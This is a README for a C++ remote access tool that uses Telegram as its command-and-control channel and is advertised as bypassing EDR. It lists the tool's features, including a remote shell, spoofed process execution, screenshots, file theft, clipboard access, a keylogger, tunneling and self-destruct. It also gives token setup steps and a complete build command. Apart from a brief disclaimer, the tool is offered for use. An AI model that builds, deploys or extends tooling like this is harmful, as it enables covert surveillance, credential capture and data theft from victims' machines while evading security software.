
Bypassing EDR's with stealthy c++ telegram Bot and Telegram itself as C2 interface !
A Telegram-based remote access tool for Windows. Disclaimer: For authorized use on systems you own only ! Please 🙇
The bot have these features:
ᴛᴇʟᴇᴛᴜɴɴᴇʟ ᴠ2.0
────────────────────
👤 Identity: USER@HOSTNAME
🛠 ʀᴇᴄᴏɴɴᴀɪssᴀɴᴄᴇ
├── sysinfo - Full system report
├── ss - Desktop capture
├── ps - Process listing
└── ls <path>- Directory browser
⚡️ ᴄᴏᴍᴍᴀɴᴅ ᴄᴇɴᴛᴇʀ
├── > <cmd> - Native shell
├── spawn <PID> <cmd> - Spoofed exec
├── clip get/set - Clipboard manager
└── kill - Self-destruct
💾 ғɪʟᴇ ᴏᴘᴇʀᴀᴛɪᴏɴs
├── get <path> - Download from host
├── [Drag/Drop]- Upload to host
└── drops - List uploads ($1, $LAST)
⌨️ ᴋᴇʏʟᴏɢɢᴇʀ
└── keylog <start|stop|dump|status>
📡 ᴛᴜɴɴᴇʟɪɴɢ
└── open|send|close|streams
────────────────────
nlohmann/json.hpp for JSON parsing. This is included in the repo, removing you some headache searching itGet a Telegram Bot Token:
@BotFather on Telegram and create a new bot.Get Your Telegram Chat ID:
@userinfobot to get your exact User ID.https://api.telegram.org/bot<YOUR_BOT_TOKEN>/getUpdates to find the id under chat.Configure the Project:
config.h."YOUR BOT TOKEN HERE" with your actual bot token."XXXXXXXXXX" with your personal Telegram User ID.Ensure you have required Windows libraries: wininet, ws2_32, gdiplus, ole32, and iphlpapi.
using GCC/MinGW:
g++ -std=c++17 -O2 -mwindows -I. -Inlohmann "./TeleTunnel v2.cpp" -o TeleTunnelv2.exe -lwininet -lws2_32 -lgdiplus -lole32 -liphlpapi -static -static-libgcc -static-libstdc++